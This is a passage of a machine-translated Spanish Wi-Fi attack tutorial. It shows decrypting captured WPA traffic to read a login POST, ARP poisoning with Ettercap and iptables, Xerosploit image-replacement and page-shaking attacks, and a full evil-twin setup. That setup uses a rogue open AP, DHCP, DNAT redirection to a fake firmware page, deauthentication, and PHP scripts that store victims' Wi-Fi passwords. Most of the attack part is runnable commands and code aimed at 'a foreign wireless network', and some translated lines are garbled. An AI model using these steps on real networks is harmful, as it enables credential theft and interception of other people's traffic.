Why? Because all we are capturing is the external traffic that we collect in monitor mode:

```
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01.chap 2>/dev/null | head -n 10
    1 0.000000 AskeyCom_d4:16:78 → Broadcast 802.11 268 Beacon frame, SN=2233, FN=0, Flags=........, BI=100, SSID=MOVISTAR_1677
    2 2.150527 AskeyCom_d4:16:78 → XiaomiCo_b1:c5:53 802.11 341 Probe Response, SN=2255, FN=0, Flags=........, BI=100, SSID=MOVISTAR_1677
    3 2.150557 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 10 Acknowledgment, Flags=........
    4 2.165375 AskeyCom_d4:16:78 → XiaomiCo_b1:c5:53 802.11 341 Probe Response, SN=2256, FN=0, Flags=........, BI=100, SSID=MOVISTAR_1677
    5 2.165405 → AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (RA) 802.11 10 Acknowledgment, Flags=........
    6 2.635968 XiaomiCo_b1:c5:53 → Broadcast 802.11 94 Data, SN=2262, FN=0, Flags=.p....F.
    7 2.941632 XiaomiCo_b1:c5:53 → Broadcast 802.11 94 Data, SN=2266, FN=0, Flags=.p....F.
    8 6.679016 IntelCor_46:d1:38 → AskeyCom_d4:16:77 802.11 110 QoS Data, SN=1512, FN=0, Flags=.p.....T
    9 6.678975 → IntelCor_46:d1:38 (34:41:5d:46:d1:38) (RA) 802.11 10 Acknowledgment, Flags=........
   10 6.681029 AskeyCom_d4:16:78 (1c:b0:44:d4:16:78) (TA) → IntelCor_46:d1:38 (34:41:5d:46:d1:38) (RA) 802.11 16 Request-to -send,
Flags=........
```

We cannot see any kind of HTTP query or internal traffic from here.

Well then, what do we do? Let's use our heads for a few moments. What is it that causes the packets that we capture to be encrypted and we cannot see the private traffic? The network password itself, right? And what happens if we have it? Aren't we supposed to be able to then to decrypt these packets?, correct.

Through the **airdecap-ng** tool from the **aircrack** suite , it is possible to decrypt these captures as long as the correct network password is provided.

We do it in the following way:

```
 ┌─[✗]─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #ls _
Capture-01.cap
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # airdecap-ng -e MOVISTAR_1677 -p XXXXXXXXXXXXXXXXXXXXX Capture-01.cap
Total number of stations seen 9
Total number of packets read           2838
Total number of WEP data packets 0
Total number of WPA data packets 1082
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 189
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #
```

If we look closely, a total of 189 WPA packets have been decrypted. This is so because the password provided is the correct one, if I had put an incorrect one, nothing would have been decrypted.

This generates a new file in the current working directory:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #ls _
Capture-01.cap Capture-01-dec.cap
┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ #
```

On which we can filter to view internal traffic.

Analysis of decryption with Tshark and Wireshark

I'll actually use **Tshark** , but from **Wireshark** we'd get the same results. Now let's try to see if we are able to visualize HTTP traffic, specifically, any POST requests that have been made:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01-dec.cap -Y "http.request.method==POST" 2>/dev/null
  185 10.456181 192.168.1.55 → 46.231.127.84 HTTP 736 POST /includes/posthandler. php HTTP/1.1 (application/x-www-form-urlencoded)
```

Interesting, we see something. Let's try to see if we are able to visualize the payload of this request:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01-dec.cap -Y "http.request.method==POST" -Tfields -e tcp.payload 2>/dev/null
50:4f:53:54:20:2f:69:6e:63:6c:75:64:65:73:2f:70:6f:73:74:68:61:6e:64:6c:65:
72:2e:70:68:70:20:48:54:54:50:2f:31:2e:31:0d:0a:48:6f:73:74:3a:20:77:77:77:
2e:61:6c:63:61:6e:7a:61:74:75:6d:65:74:61:2e:65:73:0d:0a:43:6f:6e:6e:65:63:
74:69:6f:6e:3a:20:6b:65:65:70:2d:61:6c:69:76:65:0d:0a:43:6f:6e:74:65:6e:74:
2d:4c:65:6e:67:74:68:3a:20:31:30:35:0d:0a:41:63:63:65:70:74:3a:20:2a:2f:2a:
0d:0a:58:2d:52:65:71:75:65:73:74:65:64:2d:57:69:74:68:3a:20:58:4d:4c:48:74:
74:70:52:65:71:75:65:73:74:0d:0a:55:73:65:72:2d:41:67:65:6e:74:3a:20:4d:6f:
7a:69:6c:6c:61:2f:35:2e:30:20:28:58:31:31:3b:20:4c:69:6e:75:78:20:78:38:36:
5f:36:34:29:20:41:70:70:6c:65:57:65:62:4b:69:74:2f:35:33:37:2e:33:36:20:28:
4b:48:54:4d:4c:2c:20:6c:69:6b:65:20:47:65:63:6b:6f:29:20:43:68:72:6f:6d:65:
2f:37:36:2e:30:2e:33:38:30:39:2e:38:37:20:53:61:66:61:72:69:2f:35:33:37:2e:
33:36:0d:0a:43:6f:6e:74:65:6e:74:2d:54:79:70:65:3a:20:61:70:70:6c:69:63:61:74:69:6f:6e:2f:78:2d:77:77:77:2d:
66:6f:72:6d:2d:75:72:6c:65:6e:63:6f:64:65:64:3b:20:63:68:61:72:73:65:74:3d:
55:54:46:2d:38:0d:0a:4f:72:69:67:69:6e:3a:20:68:74:74:70:3a:2f:2f:77:77:77:
2e:61:6c:63:61:6e:7a:61:74:75:6d:65:74:61:2e:65:73:0d:0a:52:65:66:65:72:65:
72:3a:20:68:74:74:70:3a:2f:2f:77:77:77:2e:61:6c:63:61:6e:7a:61:74:75:6d:65:
74:61:2e:65:73:2f:6c:6f:67:69:6e:2e:70:68:70:0d:0a:41:63:63:65:70:74:2d:45:
6e:63:6f:64:69:6e:67:3a:20:67:7a:69:70:2c:20:64:65:66:6c:61:74:65:0d:0a:41:
63:63:65:70:74:2d:4c:61:6e:67:75:61:67:65:3a:20:65:73:2d:45:53:2c:65:73:3b:
71:3d:30:2e:39:2c:65:6e:3b:71:3d:30:2e:38:2c:6a:61:3b:71:3d:30:2e:37:0d:0a:
43:6f:6f:6b:69:65:3a:20:50:48:50:53:45:53:53:49:44:3d:65:32:64:36:30:65:65:
37:63:37:63:65:34:32:64:34:65:39:37:31:37:30:33:65:37:62:38:38:35:34:36:34:
0d:0a:0d:0a:75:73:65:72:6e:61:6d:65:3d:73:34:76:69:74:61:72:26:70:61:73:73:77:6f:72:64:3d:6d:69:50:61:73:73:
77:6f:72:64:49:6d:70:6f:73:69:62:6c:65:64:65:4f:62:74:65:6e:65:72:26:74:6f:
6b:65:6e:3d:66:34:35:65:36:32:30:61:62:33:64:34:63:62:30:30:61:35:34:33:66:
37:33:37:37:64:34:30:61:63:63:65:26:6c:6f:67:69:6e:3d:4c:6f:67:69:6e
```

Perfect! It's in hexadecimal, let's convert it to a somewhat more readable format and see if we can get any clear data:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01-dec.cap -Y "http.request.method==POST" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r; threw out
POST /includes/posthandler.php HTTP/1.1
Host: www.alcanzatumeta.es
Connection: keep-alive
Content-Length: 105
```

```
Accept: * / *
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11 ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded ; charset=UTF-8
Origin: http://www.alcanzatumeta.es
Referer: http://www.alcanzatumeta.es/login.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es ; q=0.9,in ; q=0.8, ha ; q=0.7
Cookie: PHPSESSID=e2d60ee7c7ce42d4e971703e7b885464
```

```
username=s4vitar & password=myPasswordImpossibletoObtain & token=f45e620ab3d4cb00a543f7377d40acce & login=Login
```

Great, as we see, username and password:

```
 ┌─[root@parrot]─[/home/s4vitar/Desktop/Red]
└──╼ # tshark -r Capture-01-dec.cap -Y "http.request.method==POST" -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r | tail -n 1 | cut -d '&' 
-f 1-2 | tr '&' '\n'
username=s4vitar
```

```
password=myPasswordUnabletoGet
```

The elegance of all this is that we are not doing a traditional **MITM** while being associated on the network, which can raise suspicions since most ARP Spoofing/DNS Spoofing attacks are already detected and alerted by most browsers.

We are doing this attack from outside the network, without being associated, simply capturing the traffic that we perceive while in monitor mode, which is fascinating.

IMPORTANT : To decrypt the traffic of a client, it is necessary to capture a Handshake by said station. Otherwise, it will not be possible to decrypt your traffic.

Spying with Ettercap Driftnet and routing with iptables

Considering that we are already connected to the network and we want to act actively, not passively as seen in the previous point, the first thing we must do is enable routing on our equipment:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼ # echo 1 > /proc/sys/net/ipv4/ip_forward
┌─[root@parrot]─[/home/s4vitar]
```

```
└──╼ #
```

Once done, we generate a small rule in **iptables** to define how the traffic should behave when poisoning the network. For this case, we want all traffic directed to port 80 to be routed to port 8080:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
┌─[root@parrot]─[/home/s4vitar]
```

```
└──╼ #
```

First of all I recommend clearing any kind of previous rule defined in iptables. For those who like the idea, in my case I have created an alias at the **bashrc** level :

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼ # cat ~/.bashrc | grep flushIPTABLES -A 5 function  flushIPTABLES(){
  iptables --flush
  iptables --table nat --flush
  iptables --delete-chain
  iptables --table nat --delete-chain
```

```
}
```

So when I write **flushIPTABLES** all the previously defined rules are flushed.

Later, we tweak the /etc/ettercap/etter.conf file , changing the default values to **0** :

```
 [privs]
ec_uid = 0                # nobody is the default
```

```
ec_gid = 0                # nobody is the default
```

On the other hand, we uncomment these 2 lines of said file:

```
 # if you use iptables:
   redir_command_on = " iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport "
```

```
   redir_command_off = " iptables -t nat -D PREROUTING - i %iface -p tcp --dport %port -j REDIRECT --to-port %rport "
```

Once done, we open **Ettercap** in graphical mode via the ' **-G** ' parameter. The first thing we will do is scan the Hosts available on the network:

This can be done intuitively via the **Hosts** tab . Once done, and this step is important, what we will do is first select our Gateway

(192.168.1.1) and click on **Add to Target 1** , then we select the IP address of our victim and click on **Add To Target 2** :

Now with this scheme configured, we verify from the **Targets** tab that everything is as it should be:

If so, we continue. **We will go to the Mitm** tab and click on **ARP Poissoning** . Immediately afterwards, a window will open, in it we select the **Sniff Remote Connections** box and click on **Accept** .
After doing this, we should see the following from the main window:

Now it's time to do the acid test. We load the following commands from the console:

Once these are running, we simulate browsing from the device whose traffic is being poisoned.
In this case, a news URL is accessed, with the following results:

It should be said that we are also using **driftnet** , which is why, in addition to viewing the URL that is being visited, we are able to see the images that are loaded in real time on said web page.
If we give it some time, we will be able to extract even more images:

In turn, we can take advantage of **Ettercap** itself to capture authentication credentials to a web page:

Funny Attacks

These attacks are part of a category that I consider something Off-Topic, because we don't get anything of interest with it... but hey, it can be used to laugh from time to time.

Replaced web images

At this point, what we will do is poison our victim's traffic once more, but this time to manipulate the images that are displayed on the web pages they access.
To do this, we first need to have an image, which we will use to make the substitution. **On the other hand, we need to have the Xerosploit** tool installed on our computer.

- **Repository** : https://github.com/LionSec/xerosploit

Once we have it installed, we execute **xerosploit** from the console:

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # xerosploit
____ __ ________ ______ _____ _____
__   | / /_____ _______________ __ ___/_________ ___ /______ ___(_)__ /_
__ / _ _ \_ _ ___/_ __ \ _ ____ \ ___ __ \_ _ / _ __ \_ _ / _ __/
_     |   / __/_ / / /_/ /____/ / __ /_/ /_ / / /_/ /_ / / /_
/_/ | _ |   \_ __/ /_/      \_ ___/ /____/ _ .___/ /_/    \_ ___/ /_/    \_ _/
                                         /_/
[+]═══════════[ Author : @LionSec1 _- \| /-_ Website: lionsec.net ]═══════════[+]
                      [ Powered by Bettercap and Nmap ]
┌‖ATA ════════════════════════════┐
█ █
█ Your Network Configuration █
█ █
└‖ATA ════════════════════════════┘
╒................ATa ══════════╤═════════════╕
│ IP Address │ MAC Address │ Gateway │ Iface │ Hostname │
╞................ATa ══════════╪═════════════╡
├──────────n't ─────────┼─────────────┤
│ 192.168.1.43 │ 80:CE:62:3C:EB:A1 │ 192.168.1.1 │ eth0 │ parrot │
╘................ATa ══════════╧═════════════╛
╔ Gender ═══════════════════════════════════╗
║ ║ XeroSploit is a penetration testing toolkit whose goal is to ║
║ Information ║ perform man in the middle attacks for testing purposes. ║
║ ║ It brings various modules that allow to perform efficient attacks. ║
║ ║ This tool is Powered by Bettercap and Nmap. ║
╚ Gender ═══════════════════════════════════╝
[+] Please type  ' help ' to view commands.
```

```
Xero ➮
```

With the help command , we list the available options:

```
Xero ➮ help
```

```
╔║ATA ══════════════════════════════╗
║ ║ ║
║ ║ scan      :   Map your network. ║
║ ║ ║
║ ║ iface     :   Manually set your network interface. ║
║ COMMANDS ║ ║
║ ║ gateway   :   Manually set your gateway. ║
║ ║ ║
║ ║ start     :   Skip scan and directly set your target IP address. ║
║ ║ ║
║ ║ rmlog     :   Delete all xerosploit logs. ║
║ ║ ║
║ ║ help      :   Display this help message. ║
║ ║ ║
║ ║ exit      :   Close Xerosploit. ║
║ ║ ║
╚║ATA ══════════════════════════════╝
[+] Please type  ' help ' to view commands.
Xero ➯
```

The first thing is to perform a network scan, so we run the **scan** option :

```
 Xero ➯ scan
[++] Mapping your network ...
[+]═══════════[ Devices found on your network ]═══════════[+]
╔²ATAsa ══╗
║ IP Address ║ Mac Address ║ Manufacturer ║
╠²ATAsa ══╣
║ 192.168.1.1 ║ 1C:B0:44:D4:16:77 ║ (Unknown) ║
║ 192.168.1.55 ║ 34:41:5D:46:D1:38 ║ (Unknown) ║
║ 192.168.1.60 ║ 20:34:FB:B1:C5:53 ║ (Unknown) ║
║ 192.168.1.201 ║ F8:8B:37:E3:32:A2 ║ (Unknown) ║
║ 192.168.1.43 ║ 80:CE:62:3C:EB:A1 ║ (This device) ║
║ ║ ║ ║
╚²ATAsa ══╝
[+] Please choose a target (eg 192.168.1.10). Enter ' help '  for more information.
Xero ➯
```

After identifying our victim, we write the IP address and the different modes of attack will be listed:

```
 Xero ➯ 192.168.1.60
[++] 192.168.1.60 has been targeted.
[+] Which module do you want to load ? Enter ' help '  for more information.
Xero»modules ➯ help
╔tatataa ══════════════════════════════╗
║ ║ ║
║ ║ pscan        :   Port Scanner ║
║ ║ ║
║ ║ dos          :   DoS Attack ║
║ ║ ║
║ ║ ping         :   Ping Request ║
║ ║ ║
║ ║ injecthtml   :   Inject Html code ║
║ ║ ║
║ ║ injectjs     :   Inject Javascript code ║
║ ║ ║
║ ║ rdownload    :   Replace files being downloaded ║
║ ║ ║
║ ║ sniff        :   Capturing information inside network packets ║
║ MODULES ║ ║
║ ║ dspoof       :   Redirect all the http traffic to the specified one IP ║
║ ║ ║
║ ║ yplay        :   Play background sound in target browser ║
║ ║ ║
║ ║ replace      :   Replace all web pages images with your own one ║
║ ║ ║
║ ║ driftnet     :   View all images requested by your targets ║
║ ║ ║
║ ║ move         :   Shaking Web Browser content ║
║ ║ ║
║ ║ deface       :   Overwrite all web pages with your HTML code ║
║ ║ ║
╚tatataa ══════════════════════════════╝
[+] Which module do you want to load ? Enter ' help '  for more information.
Xero»modules ➯
```

Among them, we will select the replace option , which will be in charge of carrying out the substitution of images on the web page that our victim is visiting:

```
 Xero»modules ➯ replace
┌║ATA ════════════════┐
█ █
█ Image Replace █
█ █
█ Replace all web pages images with your own one █
└║ATA ════════════════┘
[+] Enter ' run ' to execute the ' replace ' command.
Xero»modules»replace ➯ run
[+] Insert your image path. (eg /home/capitansalami/pictures/fun.png)

Xero»modules»replace ➯
```

We specify the absolute path of our image and the attack will begin. As soon as the victim navigates to a web page, all the images will be replaced by ours:

Web Shaking Attack

Making use of the same tool seen in the previous point, another of the actions available to **xerosploit** is the **move** , by which we can carry out a **Shaking Web** type attack , that is, when our victim navigates to a page, it moves trembling so that nothing can be read from it:

```
 Xero ➯ 192.168.1.60
[++] 192.168.1.60 has been targeted.
[+] Which module do you want to load ? Enter ' help '  for more information.
Xero»modules ➯ help
╔tataaa ════════════════════════════════╗
║ ║ ║
║ ║ pscan        :   Port Scanner ║
║ ║ ║
║ ║ dos          :   DoS Attack ║
║ ║ ║
║ ║ ping         :   Ping Request ║
║ ║ ║
║ ║ injecthtml   :   Inject Html code ║
║ ║ ║
║ ║ injectjs     :   Inject Javascript code ║
║ ║ ║
║ ║ rdownload    :   Replace files being downloaded ║
║ ║ ║
║ ║ sniff        :   Capturing information inside network packets ║
║ MODULES ║ ║
║ ║ dspoof       :   Redirect all the http traffic to the specified one IP ║
║ ║ ║
║ ║ yplay        :   Play background sound in target browser ║
║ ║ ║
║ ║ replace      :   Replace all web pages images with your own one ║
║ ║ ║
║ ║ driftnet     :   View all images requested by your targets ║
║ ║ ║
║ ║ move         :   Shaking Web Browser content ║
║ ║ ║
║ ║ deface       :   Overwrite all web pages with your HTML code ║
║ ║ ║
╚tataaa ════════════════════════════════╝
[+] Which module do you want to load ? Enter ' help '  for more information.
Xero»modules ➯ move
```

Evil Twin Attack

At this point, we will see one of the most common techniques to obtain the password of a foreign wireless network, through Phishing techniques applied over WiFi.

If you have read all of the above up to this point, you will have seen how it is very common for stations to issue the **Probe Request** packet when they are not associated with any AP:

```
 ┌─[root@parrot]─[/home/s4vitar]
└──╼ # tshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/null
    1 0.000000000 Apple_7d:1f:e9 → Broadcast 802.11 195 Probe Request, SN=1063, FN=0, Flags=........C, SSID=MOVISTAR_PLUS_2A51

    2 0.019968349 Apple_7d:1f:e9 → Broadcast 802.11 195 Probe Request, SN=1064, FN=0, Flags=........C, SSID=MOVISTAR_PLUS_2A51
```

What we will do in the following points is precisely to take advantage of these packets to associate our clients to a fake AP managed by us, from where, through routing rules and redirections, we will cause them to be redirected to a fake page which will request the password. of the Wi-Fi network.

The idea is that once the victim clients enter the credentials, they travel in clear text to us, being able to view them to later carry out the authentication against the foreign wireless network.

It should be said that the step of requesting the wireless network password is optional, in the same way we could request some other type of data.

DHCP file creation

We'll start by creating a simple DHCP file named **dhcpd.conf** under the ***/etc/*** path :

```
 ┌─[root@parrot]─[/etc]
└──╼ # pwd
/etc
┌─[root@parrot]─[/etc]
└──╼ # cat dhcpd.conf
authoritative ;
default-lease-time 600 ;
max-lease-time 7200 ;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128 ;
option broadcast-address 192.168.1.255 ;
option routers 192.168.1.129 ;
option domain-name-servers 8.8.8.8 ;
range 192.168.1.130 192.168.1.140 ;
}
```

In this file, we indicate that the minimum average life will be 600 seconds and the maximum 7200. Within this range, once the estimated time has elapsed, a new IP will be assigned to the client associated with our AP (simply by making it dynamic).

To avoid conflicting with the topology of my real network, as the gateway is 192.168.1.1 and some of the devices are configured in the range from 192.168.1.2 to 192.168.1.100, what I have done has been to assign a new segment , included between the range 192.168.1.130 to 192.168.1.140. We will assign 255.255.255.128 as the network mask and 192.168.1.129 as the new gateway. All this configuration will be managed by a new interface that we will create shortly.

Website configuration

We will download the following template to make our attack:

- http://ge.tt/9EyXb5w2

service initialization

We start the mysql and **apache2** services :

```
 ┌─[root@parrot]─[/etc]
└──╼ # service apache2 start && service mysql start
┌─[root@parrot]─[/etc]
└──╼ # echo $?
0
```

Later we check that our web server works correctly:

All this design is customizable and can be tweaked without any problem from the HTML. In my case, I'm going to leave it like that.

Database creation via MYSQL

Now if we look at the **ACTION** of the main HTML, we find this:

```
 ┌─[root@parrot]─[/var/www/html]
└──╼ # catindex.html | grep action < tr><td><form action= " dbconnect.php " method= " post " >
┌─[root@parrot]─[/var/www/html]
└──╼ # cat dbconnect.php < ? php
 session_start ();
ob_start ();
$host = " localhost " ; $username = " fakeap " ; $pass = " fakeap " ; $dbname = " rogue_AP " ; $tbl_name = " wpa_keys " ;
// Create connection$conn = mysqli_connect( $host , $username , $pass , $dbname ) ;
// Check connectionif ( ! $conn ) {
    die( " Connection failed: "  .  mysqli_connect_error () );
}$password1 = $_POST [ ' password1 ' ] ; $password2 = $_POST [ ' password2 ' ] ;$sql = " INSERT INTO wpa_keys (password1, password2) VALUES
(' $password1 ', ' $password2 ') " ; if (mysqli_query( $conn , $sql )) {
     echo  " New record created successfully " ;
} else {
     echo  " Error: "  .  $sql  .  " <br> "  . mysqli_error( $conn ) ;
}
mysqli_close( $conn ) ;
sleep(2) ;
header( " location:upgrading.html " ) ; ob_end_flush ();
? >
```

The **action is defined by the dbconnect.php** file , which, if you look closely, performs an authentication through the **MYSQL** service to a non-existent table and database. Therefore, you have to create it.
Creating the database in this case is quite simple:

```
┌─[root@parrot]─[/var/www/html]
└──╼ # mysql -uroot
Welcome to the MariaDB monitor. Commands end with ; or \g .
Your MariaDB connection id is 32
Server version: 10.1.37-MariaDB-3 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type ' help; ' or ' \h '  for help. Type ' \c ' to clear the current input statement.
MariaDB [(none)] > create database rogue_AP ;
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)] > use rogue_AP ;
Database changed
MariaDB [rogue_AP] > create table wpa_keys(password1 varchar(32), password2 varchar(32)) ;
Query OK, 0 rows affected (0.40 sec)
MariaDB [rogue_AP] > show tables
    - >  ;
+--------------------+| Tables_in_rogue_AP |
+--------------------+| wpa_keys           |
+--------------------+
1 row in  set (0.00 sec)
MariaDB [rogue_AP] > describe wpa_keys ;
+-----------+------------+------+-----+---------+ -------+| field     | Type         | null | Key | Default | Bonus |
+-----------+------------+------+-----+---------+ -------+| password1 | varchar(32) | YES   |      | NULL     |        | | password2 |
varchar(32) | YES   |      | NULL     |        |
+-----------+------------+------+-----+---------+ -------+
2 rows in  set (0.00 sec)
MariaDB [rogue_AP] >
```

Once created, we can now insert values into it:

```
 MariaDB [rogue_AP] > insert into wpa_keys(password1, password2) values ( " test " , " test " ) ;
Query OK, 1 row affected (0.12 sec)
MariaDB [rogue_AP] >  select  *from wpa_keys ;
+-----------+-----------+| password1 | password2 |
+-----------+-----------+|  tests       |  tests       |
+-----------+-----------+
1 row in  set (0.00 sec)
MariaDB [rogue_AP] >
```

If we try to enter the credentials from the web page, we see that we find the following error:

```
 Connection failed: Access denied for user 'fakeap'@'localhost'
```

Which is normal, since it is trying to authenticate against the database using the **fakeap** user , which is not created. Therefore, we create it and assign maximum privileges on the created database:

```
 MariaDB [rogue_AP] > create user fakeap@localhost identified by ' fakeap ' ;
Query OK, 0 rows affected (0.00 sec)
MariaDB [rogue_AP] > grant all privileges on rogue_AP. * to ' fakeap ' @ ' localhost ' ;
Query OK, 0 rows affected (0.00 sec)
```

And now after entering the credentials from the web, we will see that they are added to our database:

```
 MariaDB [rogue_AP] >  select  *from wpa_keys ;
+-----------------+-----------------+| password1         | password2         |
+-----------------+-----------------+|  tests                |  tests                | | testfromtheweb | testfromtheweb |
+-----------------+-----------------+
2 rows in  set (0.00 sec)
MariaDB [rogue_AP] >
```

Creation of fake access point via Airbase

We begin to assemble our Fake AP. To do this, through the **airbase** utility , we will generate a fake access point on the specified channel.
The idea at this point is to analyze the environment and list the available access points. **The one whose password we want to find out will be the one we will clone, generating a new OPN** access point with the same ESSID.
Suppose that the network whose password I want to find out is **MOVISTAR_1677** , perfect, then we do the following:

```
┌─[root@parrot]─[/var/www/html]
└──╼ # airbase-ng -e MOVISTAR_1677 -c 7 -P wlan0mon
22:13:39 Created tap interface at0
22:13:39 Trying to set MTU on at0 to 1500
```

```
22:13:39 Access Point with BSSID E4:70:B8:D3:93:5C started.
```

With this, we have managed to create an access point named **MOVISTAR_1677** on channel 7, without authentication.

Interface creation and segment assignment

With the access point created, we begin by creating a new interface **at0** , which in terms of properties must be equivalent to the previously created **dhcpd.conf file:**

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # ifconfig at0 192.168.1.129 netmask 255.255.255.128
┌─[root@parrot]─[/home/s4vitar]
└──╼ # route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
┌─[root@parrot]─[/home/s4vitar]
└──╼ # echo 1 > /proc/sys/net/ipv4/ip_forward
┌─[root@parrot]─[/home/s4vitar]
└──╼ # ifconfig
at0: flags= 4163< UP,BROADCAST,RUNNING,MULTICAST >   mtu 1500
        inet 192.168.1.129 netmask 255.255.255.128 broadcast 192.168.1.255
        inet6 fe80::e670:b8ff:fed3:935c prefixlen 64 scopeid 0x 20< link >
        ether e4:70:b8:d3:93:5c txqueuelen 1000 (Ethernet)
        RX packets 0 bytes 0 (0.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 57 bytes 8828 (8.6 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0: flags= 4163< UP,BROADCAST,RUNNING,MULTICAST >   mtu 1500
        inet 192.168.1.43 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 fe80::c114:795c:5d1f:78a7 prefixlen 64 scopeid 0x 20< link >
        ether 80:ce:62:3c:eb:a1 txqueuelen 1000 (Ethernet)
        RX packets 6777682 bytes 8286953540 (7.7 GiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 3292154 bytes 880484597 (839.6 MiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags= 73< UP,LOOPBACK,RUNNING >   mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x 10< host >
        loop txqueuelen 1000 (Local Loopback)
        RX packets 772442 bytes 1353509541 (1.2 GiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 772442 bytes 1353509541 (1.2 GiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0mon: flags= 867< UP,BROADCAST,NOTRAILERS,RUNNING,PROMISC,ALLMULTI >   mtu 1800
        unspec E4-70-B8-D3-93-5C-00-00-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
        RX packets 1179679 bytes 610643779 (582.3 MiB)
        RX errors 0 dropped 1078475 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌─[root@parrot]─[/home/s4vitar]
└──╼ #
```

I remind you that the third applied command is necessary for this case, the same as when we did ARP poisoning, because for this case we need to have routing enabled on our equipment.

Control and creation of routing rules by iptables

Next, we clean up any rule types we have previously defined from **iptables** and generate our new rules:

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --flush
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --table nat --flush
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --delete-chain
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --table nat --delete-chain
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables --append FORWARD --in-interface at0 -j ACCEPT
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $(hostname -I | awk '{print $1}'):80
┌─[root@parrot]─[/home/s4vitar]
└──╼ # iptables -t nat -A POSTROUTING -j MASQUERADE
┌─[root@parrot]─[/home/s4vitar]
└──╼ #
```

The idea is to feed our **at0** interface from the **eth0** parent connection , in this way, users who connect to our AP will be able to browse the Internet without much inconvenience (in other words, create a connection tunnel).

Likewise, any **HTTP** traffic that we detect from our victims will be redirected to our fraudulent website, with the aim of making them believe that the router really needs a Firmware configuration and therefore requests network access credentials.

Synchronization of defined rules with the Fake AP

Finally, what we have left is to synchronize all our defined rules with the Fake AP, so that it comes to life and begins to operate under our rules:

```
┌─[root@parrot]─[/home/s4vitar]
└──╼ # dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
Internet Systems Consortium DHCP Server 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: /etc/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 2 leases to leases file.
Listening on LPF/at0/e4:70:b8:d3:93:5c/192.168.1.128/25
Sending on LPF/at0/e4:70:b8:d3:93:5c/192.168.1.128/25
Sending on Socket/fallback/fallback-net
```

If we get an output like the one above, it means that everything has been done correctly. Once we have reached this point, what we proceed from another console is to apply a global deauthentication attack (FF:FF:FF:FF:FF:FF) against the entire network.

After the clients launch **Probe Request** packets in search of the AP, as the legitimate one is canceled due to the packets that we are continuously sending, the devices will get confused and make them connect to our Fake AP, why without authenticating? because our Fake AP is **OPN** protocol :)

This on the victim's side is almost imperceptible, since the migration from one network to another for some devices is almost immediate. Depending on the imagination, originality and ingenuity of each one, what is desired can be obtained once the victim moves through our land.

data theft

As expected, once the victim navigates to an HTTP page, they will be redirected to our fake web portal. At the URL address level, the domain to which you have accessed will appear, that is, our IP address will not appear.

Once she enters her credentials, they will be sent to our database and through the **MYSQL** service interactively we will be able to view them without any problem.

Another more convenient way, in case you didn't want to use **MYSQL** , could have been for the **ACTION** of the main HTML, to have defined a new **post.php** file with a similar structure like this:

```
<?php  $ file = 'wifi-password.txt' ;file_put_contents( $ file , print_r( $ _POST , true ), FILE_APPEND ); ?> < meta  http-equiv =" refresh
" content =" 0; url=http://192.168.1.1 " />
```

